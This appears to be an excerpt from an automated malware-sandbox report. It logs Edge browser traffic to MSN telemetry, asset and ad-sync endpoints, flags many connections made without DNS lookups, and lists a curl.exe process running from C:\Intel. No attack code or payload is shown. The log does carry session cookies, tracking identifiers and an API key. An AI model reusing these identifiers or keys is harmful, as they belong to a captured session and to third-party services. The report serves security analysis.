Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578515356&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10698sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578518356&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10413sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578521342&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10329sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: OPTIONS /api/report?cat=msn HTTP/1.1Host: deff.nelreports.netConnection: keep-aliveOrigin: https://assets.msn.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.0.163
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.0.163
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203

Source: C:\Intel\curl.exe

Code function: 34_2_001D3D70 recv,WSAGetLastError,

34_2_001D3D70

Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.489618fee28203b75117.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8Origin: https://ntp.msn.comsec-ch-ua-model: rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 1.5sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.059504d3b28965aa7c6d.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8sec-ch-ua-model: rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 1.5sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.80e71276f1bec5cb9e6b.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.645cb4eb2f9e0802adfb.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.639a3a8baab8493c4920.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736578471573&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f7b66e0f99774ee4994a9572d133a3c9&activityId=f7b66e0f99774ee4994a9572d133a3c9&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1736578471573&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0136911D054E6BFC0E90846C04216AB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b2?rn=1736578471573&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0136911D054E6BFC0E90846C04216AB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=15091701be8ac68bbcb80111736578472
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736578471573&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f7b66e0f99774ee4994a9572d133a3c9&activityId=f7b66e0f99774ee4994a9572d133a3c9&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1FE748FF748B4324A916C66DF435B563&MUID=0136911D054E6BFC0E90846C04216AB7 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /sg/msn/1/cm?taboola_hm=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uidmappixel?ext_uid=0136911D054E6BFC0E90846C04216AB7&pname=MSN&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.outbrain.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/1.1Host: px.ads.linkedin.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?type=nms&cs=3&ovsid=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: hbx.media.netConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /m?cdsp=516415&c=0136911D054E6BFC0E90846C04216AB7&mode=inverse&msn_src=ntp&&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.mgid.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/msn?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?suid=0136911D054E6BFC0E90846C04216AB7&sid=16&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /visitor/sync?uid=9871605be8d4b2a982914bf5c9348e7b&name=MSN&visitor=0136911D054E6BFC0E90846C04216AB7&external=true&gdpr=0&gdpr_consent= HTTP/1.1Host: visitor.omnitagjs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.mediago.ioConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oRTB?redirect={PubRedirectUrl}&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resriver&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=cae0bcac-0788-4314-8d6d-ef1f6cde9e84&ii=1&c=2556969255498558843&bid=af84565f-f8a6-4f2f-a974-1cccfb0c3669&tid=edgechrntp-resriver-1&ptid=edgechrntp-resriver-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
